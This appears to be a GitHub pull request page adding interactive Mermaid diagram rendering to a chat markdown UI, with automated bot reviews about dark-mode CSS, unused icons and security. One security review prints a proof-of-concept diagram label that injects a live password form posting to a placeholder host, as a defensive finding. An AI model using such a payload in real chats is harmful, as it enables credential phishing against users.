Skip to content

[AGE-2969] Render interactive mermaid diagrams in chat markdown - #1545

Open
haripriya1909 wants to merge 9 commits into
truefoundry:mainfrom
haripriya1909:AGE-2969-markdown-mermaid-diagrams
Open

haripriya1909 wants to merge 9 commits into
truefoundry:mainfrom
haripriya1909:AGE-2969-markdown-mermaid-diagrams

Conversation

@haripriya1909

@haripriya1909 haripriya1909 commented Dec 1, 2026 •

Copy link
Copy Markdown
Contributor

Summary

  • Render closed mermaid fenced blocks in chat markdown as diagrams via a new MermaidDiagram atom (react-markdown-mermaid)
  • Add source/preview toggle, copy source, maximize/minimize, and SVG download; keep incomplete streaming fences as highlighted code
  • Register the slot, styles, tests, and changeset for @truefoundry/trueforge-ui / @truefoundry/trueforge

Test plan

  • Send a closed ```mermaid flowchart/sequence in chat and confirm it renders as a diagram (not a code fence)
  • While a mermaid fence is still streaming, confirm it stays syntax-highlighted until the fence closes
  • Toggle source ↔ preview, copy source, download SVG, and maximize/minimize
  • pnpm --filter @truefoundry/trueforge-ui exec vitest run test/atoms/MermaidDiagram.test.tsx test/atoms/Markdown.test.tsx

Made with Cursor


Note

Medium Risk
Untrusted mermaid content is rendered as SVG in the DOM with sanitization and download hardening, which is security-sensitive though deliberately constrained; bundle size grows via the mermaid/rehype dependency chain.

Reviewed by Cursor Bugbot for commit 34c0b46. Bugbot is set up for automated code reviews on this repo. Configure here.

@veria-ai

veria-ai Bot commented Dec 1, 2026 •

Copy link
Copy Markdown

PR overview

The PR adds interactive Mermaid diagram rendering to chat markdown through a React diagram component.

Four issues have been addressed, but one remains open: diagram labels can render a live password form inside chat. This enables credential phishing if a user enters and submits sensitive information to an attacker-controlled destination.

Open issues (1)

Fixed/addressed: 4 · PR risk: 6/10

Reviews

@cursor cursor Bot left a comment •

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stale Bugbot comment from a previous run.

@cursor cursor Bot left a comment •

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stale Bugbot comment from a previous run.

Comment thread packages/trueforge-ui/src/styles.css Resolved

@cursor cursor Bot left a comment •

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stale Bugbot comment from a previous run.

Comment thread packages/trueforge-ui/src/styles.css Resolved

@cursor cursor Bot left a comment •

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stale Bugbot comment from a previous run.

@cursor cursor Bot left a comment •

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stale Bugbot comment from a previous run.

@cursor cursor Bot left a comment •

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stale Bugbot comment from a previous run.

@haripriya1909
haripriya1909 force-pushed the AGE-2969-markdown-mermaid-diagrams branch from b3fccb3 to e65da90 Compare December 3, 2026 00:58

@cursor cursor Bot left a comment •

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stale Bugbot comment from a previous run.

@haripriya1909
haripriya1909 force-pushed the AGE-2969-markdown-mermaid-diagrams branch from e65da90 to 98b13f0 Compare December 3, 2026 02:13
haripriya and others added 2 commits December 3, 2026 07:44
Closed mermaid fences render as diagrams with source/preview, copy,
maximize, and SVG download; incomplete streaming fences stay as code.

Co-authored-by: Cursor <cursoragent@cursor.com>
Stabilize mermaid config/memoization, render a single diagram when
maximized, pin strict security, and sanitize click/HTML sinks. Dark
theme entity/edge/label colors and bottom-right zoom controls included.

Co-authored-by: Cursor <cursoragent@cursor.com>

@cursor cursor Bot left a comment •

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stale Bugbot comment from a previous run.

Comment thread packages/trueforge-ui/src/styles.css Resolved
@haripriya1909
haripriya1909 force-pushed the AGE-2969-markdown-mermaid-diagrams branch from 98b13f0 to 66779d0 Compare December 3, 2026 02:19

@cursor cursor Bot left a comment •

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stale Bugbot comment from a previous run.

…n/fit, unified dark palette

Co-authored-by: Cursor <cursoragent@cursor.com>

@cursor cursor Bot left a comment •

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stale Bugbot comment from a previous run.

haripriya and others added 2 commits December 3, 2026 09:01
Co-authored-by: Cursor <cursoragent@cursor.com>
…ot pannable, dark SVG downloads, fit below 25%

Co-authored-by: Cursor <cursoragent@cursor.com>

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Let's combine these 2 changeset files into one

@cursor cursor Bot left a comment •

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stale Bugbot comment from a previous run.

Co-authored-by: Cursor <cursoragent@cursor.com>

@cursor cursor Bot left a comment •

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stale Bugbot comment from a previous run.

haripriya and others added 2 commits December 3, 2026 13:16
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Cursor <cursoragent@cursor.com>

@cursor cursor Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cursor Bugbot has reviewed your changes using default effort and found 3 potential issues.

Fix All in Cursor

❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.

Want higher recall? High effort reviews run extra passes and find more bugs. A team admin can switch effort levels in the Cursor dashboard.

Reviewed by Cursor Bugbot for commit 34c0b46. Configure here.

const SyntaxHighlighter = useSlot('SyntaxHighlighter');
const safeCode = useMemo(() => sanitizeMermaidSource(code), [code]);
// rehype-mermaid finds diagrams as markdown fences, so wrap the sanitized source back into one.
const fence = useMemo(() => `\`\`\`mermaid\n${safeCode}\n\`\`\``, [safeCode]);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Dark mode cannot override diagram colors

Medium Severity

Dark-mode retinting still depends on stylesheet overrides, but stripMermaidDiagramColors is gone, so classDef / style / linkStyle still reach mermaid. Those directives become inline and ID-scoped !important rules that page CSS cannot beat, so assistant-surface colors fail on typical generated diagrams.

Fix in Cursor Fix in Web

Reviewed by Cursor Bugbot for commit 34c0b46. Configure here.

/* Sequence actor names sit on tspans, which carry their own fill. */
.aui-theme-root.dark .aui-mermaid-preview svg tspan {
fill: var(--color-gray-1000) !important;
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Dark CSS misses several diagram types

Medium Severity

The dark-mode mermaid overrides dropped coverage for state, class, and ER diagrams (statediagram-state, stateGroup, classGroup, rect.entityBox, .relation) and replaced the global svg :is(text, tspan) / foreignObject text rules with a narrower class list. Those chart types no longer pick up the theme text and fill tokens.

Fix in Cursor Fix in Web

Reviewed by Cursor Bugbot for commit 34c0b46. Configure here.

Wrench,
X,
ZoomIn,
ZoomOut,

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Unused zoom icons left in registry

Low Severity

ZoomIn / ZoomOut and the zoom-in / zoom-out registry entries are unused after zoom controls were removed. scan and rotate-ccw were cleaned up in the same change, but these two were left behind.

Additional Locations (1)
Fix in Cursor Fix in Web

Triggered by project rule: TrueForge review rules

Reviewed by Cursor Bugbot for commit 34c0b46. Configure here.

[
rehypeMermaid,
{
strategy: 'inline-svg',

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Medium: HTML form injection through diagram labels

This rendering path leaves Mermaid's HTML labels enabled, and I verified that the following source survives sanitization and the real rehype/React pipeline as a live password form, enabling credential phishing inside chat:

graph TD
  A["<form action='https://example.invalid' method='post'><input type='password' name='password'/><button>Sign in</button></form>"]

Disable HTML labels using top-level htmlLabels: false on the actual browser Mermaid instance before rendering, or isolate/allowlist the output; adding only mermaidConfig to these plugin options is ineffective because the browser renderer in mermaid-isomorphic@3.1.0 ignores it.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants